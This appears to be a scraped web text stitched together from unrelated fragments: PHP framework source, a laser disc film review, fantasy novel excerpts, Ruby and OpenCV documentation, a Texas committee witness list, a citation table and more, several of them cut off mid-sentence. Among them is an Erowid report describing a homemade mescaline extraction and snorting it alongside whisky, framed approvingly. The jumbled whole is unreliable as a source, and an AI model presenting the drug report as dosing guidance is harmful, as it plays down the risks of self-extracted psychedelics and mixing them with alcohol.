Endless is beautifully crafted, clean & modern designed admin theme with 6 different demos & light - dark versions.


1: <?php
2: /**
3: * This file contains the definition of the factory functions.
4: *
5: * @author Oleg Schildt
6: *
7: * @package Factory
8: */
9:
10: namespace SmartFactory;
11:
12: use SmartFactory\DatabaseWorkers\DBWorker;
13:
14: /**
15: * The method singleton creates an object that supports the specified interface and ensures
16: * that only one instance of this object exists.
17: *
18: * The singleton is a usual pattern for the action objects like SessionManager, EventManager,
19: * DBWorker etc. It makes no sense to produce many instances of such classes,
20: * it wastes the computer resources and might cause errors.
21: *
22: * @param string|object $interface_or_class
23: * Name of the class/interface as string or the class/interface.
24: *
25: * @return object
26: * Returns object of the class bound to the interfase.
27: *
28: * @throws \Exception
29: * It might throw the following exceptions in the case of any errors:
30: *
31: * - if the interface or class is not specified.
32: * - if the interface or class does not exist.
33: * - if the check of the classes and interfaces fails.
34: *
35: * @see \SmartFactory\instance()
36: *
37: * @author Oleg Schildt
38: */
39: function singleton($interface_or_class)
40: {
41: return ObjectFactory::getInstance($interface_or_class, true);
42: } // singleton
43:
44: /**
45: * The method instance creates an object that support the specified interface.
46: *
47: * By each request, a new object is created. If you request data objects like User,
48: * a separate instance must be created for each item.
49: *
50: * @param string|object $interface_or_class
51: * Name of the class/interface as string or the class/interface.
52: *
53: * @return object
54: * Returns object of the class bound to the interface.
55: *
56: * @throws \Exception
57: * It might throw the following exceptions in the case of any errors:
58: *
59: * - if the interface or class is not specified.
60: * - if the interface or class does not exist.
61: * - if the check of the classes and interfaces fails.
62: *
63: * @see \SmartFactory\singleton()
64: *
65: * @author Oleg Schildt
66: */
67: function instance($interface_or_class)
68: {
69: return ObjectFactory::getInstance($interface_or_class, false);
70: } // instance
71:
72: /**
73: * The method dbworker provides the DBWorker object for working with the database.
74: *
75: * Currently supported: MySQL und MS SQL.
76: *
77: * @param array $parameters
78: * Connection settings as an associative array in the form key => value:
79: *
80: * - $parameters["db_type"] - type of the database (MySQL or MSSQL)
81: *
82: * - $parameters["db_server"] - server address
83: *
84: * - $parameters["db_name"] - database name
85: *
86: * - $parameters["db_user"] - user name
87: *
88: * - $parameters["db_password"] - user password
89: *
90: * - $parameters["autoconnect"] - should true if the connection should be established automatically
91: * upon creation.
92: *
93: * - $parameters["read_only"] - this paramter sets the connection to the read only mode.
94: *
95: * Example:
96: * ```php
97: * $dbw = dbworker(["db_type" => "MySQL",
98: * "db_server" => "localhost",
99: * "db_name" => "framework_demo",
100: * "db_user" => "root",
101: * "db_password" => "root",
102: * "autoconnect" => true
103: * ]);
104: * ```
105: *
106: * @param boolean $singleton
107: * If the parameter is true, it ensures that only one instance of this object exists.
108: *
109: * @return DatabaseWorkers\DBWorker|null
110: * returns DBWorker object or null if the object could not be created.
111: *
112: * @throws \Exception
113: * It might throw the following exceptions in the case of any errors.
114: *
115: * @author Oleg Schildt
116: */
117: function dbworker($parameters = [], $singleton = true)
118: {
119: if (empty($parameters["db_type"])) {
120: throw new \Exception("Database type is not specified!");
121: }
122:
123: $class_name = "SmartFactory\\DatabaseWorkers\\" . $parameters["db_type"] . "_DBWorker";
124:
125: $dbworker = ObjectFactory::getInstance($class_name, $singleton);
126:
127: if (!$dbworker->is_extension_installed()) {
128: throw new \Exception(sprintf("PHP extension '%s' is not installed or is too old. Work with the database '%s' is not possible!", $dbworker->get_extension_name(), $dbworker->get_rdbms_name()));
129: }
130:
131: // instance already connected
132: if ($dbworker->is_connected()) {
133: return $dbworker;
134: }
135:
136: $dbworker->init($parameters);
137:
138: // do not connect, only object required
139: // user will do connect by itself
140: if (empty($parameters["autoconnect"])) {
141: return $dbworker;
142: }
143:
144: $dbworker->connect();
145:
146: return $dbworker;
147: } // dbworker


... and remember your board has to be accessible only to your team and to the staff members (credentials will be given to you later on). So, lock it.
Cheers,
Marco Giannone


File Browser
Loading...
Click a file to view it's contents.
{% block head %} {% block css_includes %}{% endblock %} {% endblock %}
{% include "header.html" %}Click a file to view it's contents.


 It is currently available only on disc. The director, Al Reinert, hopes this leverages into a theatrical release which would be followed by a release on VHS. It is the story of the decade-long Apollo program, told in the words of the astronauts themselves and with the movies they shot in space. It captures and recreates the excitement I felt back when it was happening.
Using interviews taped starting in 1976, Reinert lets these "original extra-terrestrial humans" narrate a composite mission made up of footage from all the Apollo flights. He spent years in NASA's vaults gleaning some of the best of their copious 16mm footage. These shots, some of which have never been seen outside of NASA, were carefully enlarged to 35mm. The whole thing is backed up by a wonderful Brian Eno score.
The awesome launch of a Saturn V, the beautiful violence of stage separation, and the views of the Earth from the Moon which changed forever our perception of our world are here in all their glory. The superhuman astronauts listen to Country Western and Frank Sinatra, make home movies and play with their food while traveling farther than any before them. This is an intimate, first-hand account of one of man's greatest technological feats.
The CAV version of the disc includes a generous "still gallery" at the end of each side which includes each mission logo, and a photograph of each crew. The entire fourth side is supplemental material covering each mission, where each astronaut is today, the beautiful paintings of Al Bean, and selections from pioneering fiction films about travel to the moon. The analog audio track includes a commentary by Reinert on the making of the film.
If you have a player, this is one worth owning. If you don't yet own a player, perhaps this will convince you to buy one. If you see this title in the theatre some day be sure to see it. FOR ALL MANKIND is an energizing and uplifting labor of love. I'm glad Al Reinert made it.
--Craig ...{ucbvax,sun}!pixar!good
.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


As they left the white stone building on their nervously shifting horses, the icy wind came in gusts, moaning across the rooftops, whipping cloaks like banners, driving thin clouds across the thin sliver of the moon. With a quiet command to stay close, Lan led off down the street. The horses danced and tugged at the reins, eager to be away.
Rand looked up warily at the buildings they passed, looming now in the night with their empty windows like eye sockets. Shadows seemed to move. Occasionally there was a clatter—rubble toppled by the wind. At least the eyes are gone. His relief was momentary. Why are they gone?
Thom and the Emond’s Fielders made a cluster with him, all keeping close enough to touch one another. Egwene’s shoulders were hunched, as if she were trying to ease Bela’s hooves to the pavement. Rand did not even want to breathe. Sound might attract attention.
Abruptly he realized that a distance had opened ahead of them, separating them from the Warder and the Aes Sedai. The two were indistinct shapes a good thirty paces ahead.
“We’re falling behind,” he murmured, and booted Cloud to a quick step. A thin tendril of silver-gray fog drifted low across the street ahead him.
“Stop!” It was a strangled shout from Moiraine, sharp and urgent, pitched not to carry far.
Uncertain, he pulled up short. The splinter of fog lay completely across the street now, slowly fattening as if more were oozing out of the buildings on either side of the street. It was as thick as a man’s arm now. Cloud whickered and tried to back further away as Egwene and Thom and the others came up on him. Their horses, too, tossed their heads and bridled against coming too near the fog.
Lan and Moiraine


Violation ticket lookup
This online service allows you to action individual, multiple count or whole ticket requests. You can pay, or action a request for your ticket using the buttons below.
Resolution options for your violation ticket are:
- Paying ticket fines on all or individual ticket counts
- Requesting a fine reduction and/or time to pay on all or individual counts
- Dispute charges on all or individual counts


Sony Promotes PS4 Remote Play During Google Stadia Launch Week
Play anywhere
by Sammy BarkerSony’s already combated Google Stadia by significantly dropping the price of PlayStation Now and adding tentpole titles like God of War and Grand Theft Auto V, but the platform holder’s also eager to point out that you can play PlayStation 4 around the house using Remote Play.
The manufacturer recently upgraded this feature, of course, adding support for the DualShock 4 in both Android and iOS. Expect the organisation to continue its efforts in this area well into the PlayStation 5 generation and beyond, as it attempts to make its console more convenient to use.
[via youtube.com]


Namespaces | |
| namespace | OpenCV |
| namespace | OpenCV::VectorizedGraphics |
Functions | |
| double | CV_RECT_AREA (const CvRect &r) |
| bool | CV_RECT_EQUAL (const CvRect &r0, const CvRect &r1) |
| double CV_RECT_AREA | ( | const CvRect & | r | ) | [inline] |
Referenced by OpenCV::VectorizedGraphics::OpticalObject::isOnRect().
| bool CV_RECT_EQUAL | ( | const CvRect & | r0, | |
| const CvRect & | r1 | |||
| ) | [inline] |
Referenced by OpenCV::VectorizedGraphics::OpticalObject::rect().


Cacti - T. pachanoi (extract)
I have been searching for information on the insufflation of mescaline salts without any luck so I decided to try it myself and share my experience.
After performing an A/B extraction on a foot long section of San Pedro and converting the alkaloid base into a tartrate salt, I was left with about 2 grams of a pale olive coloured crystalline solid which I believed to be mescaline tartrate along with other alkaloid salts from the cactus.
I was not ready for a mescaline experience at the time of extraction so the powder sat in a small glass vial for about 6 months before I decided to investigate it.
One Friday evening in January and believing that the only way to try this in a small dose would be to snort a line, I racked one up. The mescaline had a certain citrus tang to it and was not at all unpleasant.
Initially I experienced the familiar lightness in my chest which I would usually associate with the very onset of MDMA however this did not last for more than about 30 to 60 seconds, I started feeling more relaxed and comfortable with myself and my surroundings. At around the 5 minute mark I noticed that my visual acuity was starting to change, there was a more vibrant colour and feel to everything in my field of vision.
I felt my mind become more alert and assessed the situation as being speedy with a psychedelic twist, this lasted for about 2 hours and slowly wore off without any difficulty sleeping later on that evening. My test monkeys indicated to me that this was definitely not placebo and that more investigation was required.
The next time I tried some was a week later at a friendís house, again it was Friday evening. I tried 2 lines and the familiar lightness of chest and excited feeling was back I noticed my social interactions become effortless and realised my attempt as a raconteur was holding the attention of the room, my ego loved this. My mind was sharp and the room was vibrant with colour, I drank a couple of whiskies and found that there was a pleasant synergy between the two.
Again the experience was slow to plateau and was fully realised at around the 20 minute mark with a lasting high. At time + 1.5hr I tried another two lines which built on the previous experience, the minor rush followed by a mild amphetamine like high with a psychedelic motif that never got out of hand or was too overbearing, sleep came easily that evening however I was not refreshed when I woke the next day. The experience lasted approximately 4 hours.
It was worth noting that there were no unpleasant feelings, just acceptance and a realisation that the cactus was taking care of me and that this was working as a medicine beyond the obvious feelings of enjoyment.
If you are looking to get blasted into cosmic hyperspace and walk hand in hand with Mescalito then this is definitely not the way to go. If however you are looking to be introduced to the feel and character of the cactus without yet committing to the long bumpy ride then this I am sure is worth a look.
For me this is worthy of further investigation, unfortunately I have very little to compare this to as I know of no other reports of insufflation of mescaline.
Peace
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Failure(error: E)
Operation failed and returned an associated Exception
error - exception associated to the failed operation
error


Some of the underlying methods are also available via the ObjectSpace module.
You may obtain information about the operation of the GC through GC::Profiler.
internal constants
GC build options
Raises NoMemoryError when allocating an instance of the given classes.
static VALUE rb_gcdebug_add_stress_to_class(int argc, VALUE *argv, VALUE self) { rb_objspace_t *objspace = &rb_objspace; if (!stress_to_class) { stress_to_class = rb_ary_tmp_new(argc); } rb_ary_cat(stress_to_class, argv, argc); return self; }
# File gc.rb, line 158 def self.compact __builtin_rb_gc_compact end
Disables garbage collection, returning true
if garbage
collection was already disabled.

GC.disable #=> false GC.enable #=> true GC.enable #=> false
# File gc.rb, line 51 def self.enable __builtin_gc_enable end
Returns information about the most recent garbage collection.
# File gc.rb, line 154 def self.latest_gc_info hash_or_key = nil __builtin_gc_latest_gc_info hash_or_key end
Returns the size of memory allocated by malloc().
Only available if ruby was built with CALC_EXACT_MALLOC_SIZE
.
static VALUE gc_malloc_allocated_size(VALUE self) { return UINT2NUM(rb_objspace.malloc_params.allocated_size); }
Returns the number of malloc() allocations.
Only available if ruby was built with CALC_EXACT_MALLOC_SIZE
.
static VALUE gc_malloc_allocations(VALUE self) { return UINT2NUM(rb_objspace.malloc_params.allocations); }
No longer raises NoMemoryError when allocating an instance of the given classes.
static VALUE rb_gcdebug_remove_stress_to_class(int argc, VALUE *argv, VALUE self) { rb_objspace_t *objspace = &rb_objspace; int i; if (stress_to_class) { for (i = 0; i < argc; ++i) { rb_ary_delete_same(stress_to_class, argv[i]); } if (RARRAY_LEN(stress_to_class) == 0) { stress_to_class = 0; } } return Qnil; }
Initiates garbage collection, even if manually disabled.
This method is defined with keyword arguments that default to true:
def GC.start(full_mark: true, immediate_sweep: true); end
Use full_mark: false to perform a minor GC.
Note: These keyword arguments are implementation and version dependent. They are not guaranteed to be future-compatible, and may be ignored if the underlying implementation does not support them.
# File gc.rb, line 33 def self.start full_mark: true, immediate_mark: true, immediate_sweep: true __builtin_gc_start_internal full_mark, immediate_mark, immediate_sweep end
Returns a Hash containing information about the GC.
The hash includes information about internal statistics about GC such as:
{ :count=>0, :heap_allocated_pages=>24, :heap_sorted_length=>24, :heap_allocatable_pages=>0, :heap_available_slots=>9783, :heap_live_slots=>7713, :heap_free_slots=>2070, :heap_final_slots=>0, :heap_marked_slots=>0, :heap_eden_pages=>24, :heap_tomb_pages=>0, :total_allocated_pages=>24, :total_freed_pages=>0, :total_allocated_objects=>7796, :total_freed_objects=>83, :malloc_increase_bytes=>2389312, :malloc_increase_bytes_limit=>16777216, :minor_gc_count=>0, :major_gc_count=>0, :remembered_wb_unprotected_objects=>0, :remembered_wb_unprotected_objects_limit=>0, :old_objects=>0, :old_objects_limit=>0, :oldmalloc_increase_bytes=>2389760, :oldmalloc_increase_bytes_limit=>16777216 }
The contents of the hash are implementation specific and may be changed in the future.
This method is only expected to work on C Ruby.
# File gc.rb, line 144 def self.stat hash_or_key = nil __builtin_gc_stat hash_or_key end
Returns current status of GC stress mode.
# File gc.rb, line 71 def self.stress __builtin_gc_stress_get end
Updates the GC stress mode.
When stress mode is enabled, the GC is invoked at every GC opportunity: all memory and object allocations.
Enabling stress mode will degrade performance, it is only for debugging.
flag can be true, false, or an integer bit-ORed following flags.
0x01:: no major GC 0x02:: no immediate sweep 0x04:: full mark after malloc/calloc/realloc
# File gc.rb, line 89 def self.stress=(flag) __builtin_gc_stress_set_m flag end
Verify compaction reference consistency.
This method is implementation specific. During compaction, objects that were moved are replaced with T_MOVED objects. No object should have a reference to a T_MOVED object after compaction.
This function doubles the heap to ensure room to move all objects, compacts the heap to make sure everything moves, updates all references, then performs a full GC. If any object contains a reference to a T_MOVED object, that object should be pushed on the mark stack, and will make a SEGV.
static VALUE gc_verify_compaction_references(int argc, VALUE *argv, VALUE mod) { rb_objspace_t *objspace = &rb_objspace; int use_toward_empty = FALSE; int use_double_pages = FALSE; if (dont_gc) return Qnil; VALUE opt = Qnil; static ID keyword_ids[2]; VALUE kwvals[2]; kwvals[1] = Qtrue; rb_scan_args(argc, argv, "0:", &opt); if (!NIL_P(opt)) { if (!keyword_ids[0]) { keyword_ids[0] = rb_intern("toward"); keyword_ids[1] = rb_intern("double_heap"); } rb_get_kwargs(opt, keyword_ids, 0, 2, kwvals); if (kwvals[0] != Qundef && rb_intern("empty") == rb_sym2id(kwvals[0])) { use_toward_empty = TRUE; } if (kwvals[1] != Qundef && RTEST(kwvals[1])) { use_double_pages = TRUE; } } gc_compact(objspace, use_toward_empty, use_double_pages, TRUE); return gc_compact_stats(objspace); }
Verify internal consistency.
This method is implementation specific. Now this method checks generational consistency if RGenGC is supported.
static VALUE gc_verify_internal_consistency_m(VALUE dummy) { gc_verify_internal_consistency(&rb_objspace); return Qnil; }


---
sort_order: 115
tei_id: rdx_191dd.p.idp18875264
annotation_count: 0
images:
small-thumbnail: https://readux.ecds.emory.edu/books/emory:191dd/pages/emory:rfh2g/mini-thumbnail/
json: https://readux.ecds.emory.edu/books/emory:191dd/pages/emory:rfh2g/info/
full: https://readux.ecds.emory.edu/books/emory:191dd/pages/emory:rfh2g/fs/
page: https://readux.ecds.emory.edu/books/emory:191dd/pages/emory:rfh2g/single-page/
thumbnail: https://readux.ecds.emory.edu/books/emory:191dd/pages/emory:rfh2g/thumbnail/
title: Page 115
number: 115
---
{% raw %}A DELICIOUS UNCLE. 117{% endraw %}
{% raw %}" /can teU you, Mr. Allen, the secret influence which ena¬{% endraw %}
{% raw %}bled this tender young girl to withstand your entreaties and{% endraw %}
{% raw %}the impulse of her own feelings. It was the knowledge she{% endraw %}
{% raw %}had of the fruits of disobedience in her mother. My sister,{% endraw %}
{% raw %}the Lady Alicia Carleton, was the loveliest and sweetest-{% endraw %}
{% raw %}souled creature alive when she was my sister. But, she fell{% endraw %}
{% raw %}from her high estate. She disgraced her lineage by marrying{% endraw %}
{% raw %}clandestinely with a gardener. She lived a life of poverty{% endraw %}
{% raw %}and pain. Before she died, she wrote me, secretly, a coufes-{% endraw %}
{% raw %}sion of her fault, and told me that her daughter would not{% endraw %}
{% raw %}resemble 7ier in character. I have seen her severely tried, and{% endraw %}
{% raw %}I find she has her mother's grace without her mother's faults.{% endraw %}
{% raw %}I am satisfied with her. Embrace me, my dear child !"{% endraw %}
{% raw %}When Alicia felt herself enfolded in her uncle's arms, a{% endraw %}
{% raw %}weight of grief and care, whose heaviness she had not known{% endraw %}
{% raw %}untU she came to be freed from it, was lifted from her young{% endraw %}
{% raw %}life. Here was natural affection—legitimate protection—friend¬{% endraw %}
{% raw %}ship, security and support. She shed some happy tears on{% endraw %}
{% raw %}her uncle's breast.{% endraw %}
{% raw %}" And now, Mr. Allen," said the baronet, as he held his{% endraw %}
{% raw %}niece in one arm, " as this young lady's guardian, I wish to{% endraw %}
{% raw %}settle a question which is distressing you very much at this{% endraw %}
{% raw %}moment, as I can see by your face You are afraid since I{% endraw %}
{% raw %}have got her, that I shaU take her away from you, without{% endraw %}
{% raw %}consulting either of you on the subject. No such thing. She{% endraw %}
{% raw %}wouldn't be run away with—you see I know all about it—and{% endraw %}
{% raw %}now I have a mind to make her run away with you ! What{% endraw %}
{% raw %}do you say to that, sir ?"{% endraw %}
{% raw %}^ " I say. Sir Deming, that I should yield to such a propo¬{% endraw %}
{% raw %}sition much more readily than your niece ■svas inclined to."{% endraw %}
{% raw %}" That's what I presumed. Our sex never could refuse a{% endraw %}
{% raw %}woman, from the days of Adam down to ourselves. Well{% endraw %}
{% raw %}Alicia, ask Mr. AUen if he will marry you to-morrow."{% endraw %}
{% raw %}" Oh 1" excLaimed Mrs. Wyman, overcome -n'ith surprise{% endraw %}
{% raw %}But Alicia said nothing, and Allen blushed like a girl.{% endraw %}
{% raw %}" Yes, that is the way ; said the baronet.


This option determines whether a standalone or hosted IRONdb instance is the target of this datasource.
Standalone = An IRONdb cluster accessible directly.
Hosted = An IRONdb instance hosted by Circonus, requires entry of API tokens.
The Account ID associated with the account to pull metrics from. This can be found on your user profile page after logging in at https://www.circonus.com/ in the "My Accounts" section.
The API Token associated with the account to pull metrics from. This can be found on your API Tokens page after logging in at https://www.circonus.com/ in the "User Profile" section.
Limit number of search results items fetched.
Setting it to -1 or "none" removes the limit.
By default CAQL works on 60 second data. For data ingested at higher frequency, you can add a different default period here to use in your queries (enter the period of your data in seconds).
You may override the default in individual queries by prefixing them with the #min_period directive. See the docs for more info.


WITNESS LIST Elections Committee March 3, 1999-2:00P HB 308 For: McDonald, Steve (Texas Democractic Party) Perez, J.R. (Self and TAEA) On: Collins, Mary Ann (RPT) McGeehan, Ann (Elections Division) HB 339 For: Perez, J.R. (Self and TAEA) On: McDonald, Steve (Texas Democratic Party) HB 1140 For: Adair, Cecelia (County & District Clerks Assn.; District Clerks Legislative Comm.; Co-Chair) Perez, J.R. (Self and T.A.E.A.) Against: Collins, Mary Ann (RPT) On: McDonald, Steve (Texas Democratic Party) Registering, but not testifying: For: Cron, Richard (Harris County District Clerk) HB 1566 For: McDonald, Steve (Texas Democratic Party) Against: Collins, Mary Ann (Republican Party of Texas) On: Allison, Jim (County Judges & Commissioners Assn. of Texas) Hanshaw, Elizabeth (Secretary of State) Perez, J.R. (Self and T.A.E.A.) HB 1699 For: McDonald, Steve (Texas Democratic Party) On: Collins, Mary Ann (Republican Party of Texas) Garrett, Ro'Vin (Tax Assessor-Collector's Assn. of Texas; Brazoria County Tax Assessor-Collector) Hammerlein, George (Paul Bettencourt, Harris County Tax Assessor) Nickless, Melinda (Secretary of State) Perez, J.R. (Self and T.A.E.A.) Winfree, Mary Alice (Texas Dept. of Health - WIC Program)


My blog is currently under construction. I am adding things as I learn.
Version Control Software
CSS-Concepts
Arrays VS. Hashes
Blog Post 4
Blog Post 5
Blog Post 6


Grid systems bring structure and balance to a website. As a tool grids are useful for organizing and presenting information. They can enhance the user experience by creating predictable patterns for users to follow.
Responsive design uses a flexible grid. Depending on the screen resolution, blocks of content are positioned differently on the page. Content remains the same and should therefore be written concisely. This is good because people are more commonly using tablets or mobile phones so web pages need to be adjustable to fit all screen sizes.
So explaining semantic structure is going to be difficult for me, from what I understand it is all about the structure of the page and using the correct HTML tags in the correct places, ie. using h1, h2 etc in order of importance and not just to highlight words, using < p > tags for paragraphs and not to put spaces on the page. Semantic HTML, or "semantically-correct HTML", is HTML where the tags used to structure content are selected and applied appropriately to the meaning of the content.


| 1 |
Navarro_Escamilla_2013 |
Rapid determination of baicalin and total baicalein content in Scutellariae radix by ATR-IR and NIR spectroscopy |
Navarro Escamilla, M.; Rodenas Sanz, F.; Li, H.; Schönbichler, S.A.; Yang, B.; Bonn, G.K.; Huck, C.W. |
2013 |
2013-09-30 |
PMC |
N |
PMC7127206 |
23953475.0 |
10.1016/j.talanta.2013.05.046 |
dkkrorwm |
0.983978 |
Wang_2013 |
Fang_2019, Xie_J_2018, Xing_2014, Li_H_2004 |
| 2 |
Wang_2013 |
Qualitative and quantitative analysis of glucosinolates and nucleosides in Radix Isatidis by HPLC and liquid chromatography tandem mass spectrometry |
Wang, Xiuming; Xie, Yuanyuan; Hu, Xiaomei; Li, Youkang; Hu, Ping; Wang, Yiming; Liang, Qionglin; Luo, Guoan |
2013 |
2013-09-30 |
PMC |
N |
PMC7104192 |
|
10.1016/j.apsb.2013.08.002 |
3sqyll6t |
0.982573 |
|
Xie_J_2018, Dai_B_2015, Xing_2014 |
| 3 |
Dai_B_2015 |
Simultaneous determination of six flavonoids from Paulownia tomentosa flower extract in rat plasma by LC–MS/MS and its application to a pharmacokinetic study |
Dai, Bin; Hu, Zhiqiang; Li, Haiyan; Yan, Chong; Zhang, Liwei |
2015 |
2015-01-26 |
PMC |
N |
PMC7105214 |
25531870.0 |
10.1016/j.jchromb.2014.11.021 |
0o430xud |
0.955990 |
Wang_2013 |
Zhou_2013, Li_T_2013, Jia_M_2017 |
| 4 |
Shi_Y_2012 |
Quantitative and Chemical Fingerprint Analysis for the Quality Evaluation of Isatis indigotica based on Ultra-Performance Liquid Chromatography with Photodiode Array Detector Combined with Chemometric Methods |
Shi, Yan-Hong; Xie, Zhi-Yong; Wang, Rui; Huang, Shan-Jun; Li, Yi-Ming; Wang, Zheng-Tao |
2012 |
2012-07-20 |
COMM-USE |
N |
PMC3430281 |
22942750.0 |
10.3390/ijms13079035 |
n4xczdat |
0.955087 |
Lim_T_2015, Wang_2014, Wang_2013, Lans_2007 |
Wang_2013, Fang_2019, Jia_W_2015 |
| 5 |
Dang_2018 |
Efficient Separation of Four Antibacterial Diterpenes from the Roots of Salvia Prattii Using Non-Aqueous Hydrophilic Solid-Phase Extraction Followed by Preparative High-Performance Liquid Chromatography |
Dang, Jun; Cui, Yulei; Pei, Jinjin; Yue, Huilan; Liu, Zenggen; Wang, Weidong; Jiao, Lijin; Mei, Lijuan; Wang, Qilan; Tao, Yanduo; Shao, Yun |
2018 |
2018-03-09 |
COMM-USE |
N |
PMC6017395 |
29522496.0 |
10.3390/molecules23030623 |
z947y7op |
0.857394 |
Jiang_2004 |
Xie_J_2018, Cheng_2014 |
| 6 |
Romano_1988 |
Determination of microsomal lauric acid hydroxylase activity by HPLC with flow-through radiochemical quantitation |
Romano, Maria C.; Straub, Kenneth M.; Yodis, Lee Ann P.; Eckardt, Regina D.; Newton, John F. |
1988 |
1988-04-30 |
PMC |
N |
|
3389520.0 |
10.1016/0003-2697(88)90093-0 |
4sbuzcvn |
0.835533 |
|
Xing_2014 |
| 7 |
Zhou_2013 |
Simultaneous determination of phenolic acids by UPLC–MS/MS in rat plasma and its application in pharmacokinetic study after oral administration of Flos Lonicerae preparations |
Zhou, Wei; Liu, Shijia; Ju, Wenzheng; Shan, Jinjun; Meng, Minxin; Cai, Baochang; Di, Liuqing |
2013 |
2013-12-31 |
PMC |
N |
PMC7127781 |
24004636.0 |
10.1016/j.jpba.2013.08.010 |
68o6f7ty |
0.828909 |
Wang_2013 |
Dai_B_2015, Xing_2014, Nie_L_2016 |
| 8 |
Li_T_2013 |
Development of an SPE–HPLC–MS method for simultaneous determination and pharmacokinetic study of bioactive constituents of Yu Ping Feng San in rat plasma after oral administration |
Li, Tao; Wang, Yiwei; Wang, Yanli; Liang, Rixin; Zhang, Dong; Zhang, Huihui; Chen, Li; Yang, Weipeng |
2013 |
2013-02-13 |
PMC |
N |
PMC7126458 |
23261488.0 |
10.1016/j.jep.2012.12.010 |
hli34i91 |
0.819261 |
Wang_2013, Shi_Y_2012 |
Dai_B_2015, Jia_M_2017, Zhou_2013, Lee_C_2020 |
| 9 |
Shi_Y_2018 |
Separation and Quantification of Four Main Chiral Glucosinolates in Radix Isatidis and Its Granules Using High-Performance Liquid Chromatography/Diode Array Detector Coupled with Circular Dichroism Detection |
Shi, Yanhong; Zheng, Cheng; Li, Jinhang; Yang, Li; Wang, Zhengtao; Wang, Rui |
2018 |
2018-05-29 |
COMM-USE |
N |
PMC6100438 |
29844266.0 |
10.3390/molecules23061305 |
b4yuh5y9 |
0.808883 |
|
Nie_L_2016, Dai_B_2015, Xie_J_2018, Xing_2014 |
| 10 |
Jia_W_2015 |
Qualitative and Quantitative Analysis of the Major Constituents in Chinese Medical Preparation Lianhua-Qingwen Capsule by UPLC-DAD-QTOF-MS |
Jia, Weina; Wang, Chunhua; Wang, Yuefei; Pan, Guixiang; Jiang, Miaomiao; Li, Zheng; Zhu, Yan |
2015 |
2015-01-08 |
COMM-USE |
N |
PMC4308632 |
25654135.0 |
10.1155/2015/731765 |
hbv137e3 |
0.783123 |
Wang_2013, Shi_Y_2012, Nuengchamnong_2009 |
Lee_C_2020, Fang_2019, Jia_M_2017, Zhang_2015 |
| 11 |
Chen_2012 |
Pharmacokinetic study of luteolin, apigenin, chrysoeriol and diosmetin after oral administration of Flos Chrysanthemi extract in rats |
Chen, Zhongjian; Kong, Sisi; Song, Feifeng; Li, Liping; Jiang, Huidi |
2012 |
2012-12-31 |
PMC |
N |
PMC7127355 |
22999990.0 |
10.1016/j.fitote.2012.09.011 |
obd48wwg |
0.758327 |
Xu_X_2016, Yang_2017, Farag_2014, WU_L_2015 |
Nie_L_2020, Xing_2014, Zhang_2008, Xing_2014 |
| 12 |
Zeng_2007 |
Mass spectral profiling: An effective tool for quality control of herbal medicines |
Zeng, Zhong-Da; Liang, Yi-Zeng; Chau, Foo-Tim; Chen, Shuo; Daniel, Mok Kam-Wah; Chan, Chi-On |
2007 |
2007-12-05 |
PMC |
N |
PMC7119444 |
17996528.0 |
10.1016/j.aca.2007.09.057 |
fk8vz0g0 |
0.697296 |
|
Lee_C_2020, Fang_2019, Nie_L_2016, YAO_R_2013 |
| 13 |
Xiong_2014 |
Biopotency Assays: an Integrated Application to Quality Control of Chinese Materia Medica |
Xiong, Yin; Yan, Dan; Wang, Jia-bo; Xiao, Xiao-he |
2014 |
2014-11-30 |
PMC |
N |
PMC7128317 |
|
10.1016/s1674-6384(14)60040-x |
j1p52wyn |
0.685702 |
|
Fang_2019, Lee_C_2020, Shingnaisui_2018 |
| 14 |
Jia_M_2017 |
Using UPLC-MS/MS for Characterization of Active Components in Extracts of Yupingfeng and Application to a Comparative Pharmacokinetic Study in Rat Plasma after Oral Administration |
Jia, Meng-Qi; Xiong, Ye-Juan; Xue, Yun; Wang, Yan; Yan, Chao |
2017 |
2017-05-17 |
COMM-USE |
N |
PMC6154636 |
28513568.0 |
10.3390/molecules22050810 |
uysf83sh |
0.685256 |
Shi_Y_2012, Yang_2017, Wang_2013, Wang_2014 |
Dai_B_2015, Lee_C_2020, Nie_L_2020, Li_T_2013 |
| 15 |
Li_X_2019 |
3′,8″-Dimerization Enhances the Antioxidant Capacity of Flavonoids: Evidence from Acacetin and Isoginkgetin |
Li, Xican; Ouyang, Xiaojian; Cai, Rongxin; Chen, Dongfeng |
2019 |
2019-05-28 |
COMM-USE |
N |
PMC6600363 |
31142008.0 |
10.3390/molecules24112039 |
dihuynju |
0.675927 |
Nuengchamnong_2009, Wang_2013 |
Kim_B_2013 |
| 16 |
Hao_B_2010 |
Identification of Phase-I Metabolites of the Kv1.3 Blocker PAP-1 (5-(4-Phenoxybutoxy)psoralen) in the Rat |
Hao, Bin; Chen, Zhong-Wei; Zhou, Xiang-Jun; Zimin, Pavel I.; Miljanich, George P.; Wulff, Heike; Wang, Yong-Xiang |
2010 |
2010-11-11 |
PMC |
N |
PMC3644211 |
21070145.0 |
10.3109/00498254.2010.532886 |
qhfekfzz |
0.660670 |
|
|
| 17 |
Zhang_2015 |
Comprehensive quantitative analysis of Shuang-Huang-Lian oral liquid using UHPLC–Q-TOF-MS and HPLC-ELSD |
Zhang, Tian-Bo; Yue, Rui-Qi; Xu, Jun; Ho, Hing-Man; Ma, Dik-Lung; Leung, Chung-Hang; Chau, Siu-Leung; Zhao, Zhong-Zhen; Chen, Hu-Biao; Han, Quan-Bin |
2015 |
2015-01-05 |
PMC |
N |
|
25222137.0 |
10.1016/j.jpba.2014.08.025 |
5h0jz1zv |
0.649867 |
Wang_2013, Shi_Y_2012, Wang_2014 |
Lee_C_2020, Fang_2019, Jia_W_2015, Li_T_2013 |
| 18 |
Sabbioni_2005 |
Simultaneous HPLC analysis, with isocratic elution, of glycyrrhizin and glycyrrhetic acid in liquorice roots and confectionery products |
Sabbioni, Cesare; Ferranti, Anna; Bugamelli, Francesca; Forti, Giorgio Cantelli; Raggi, Maria Augusta |
2005 |
2005-11-28 |
PMC |
N |
PMC7167644 |
16454473.0 |
10.1002/pca.877 |
s0pxonu0 |
0.634730 |
|
|
| 19 |
Sabbioni_2005 |
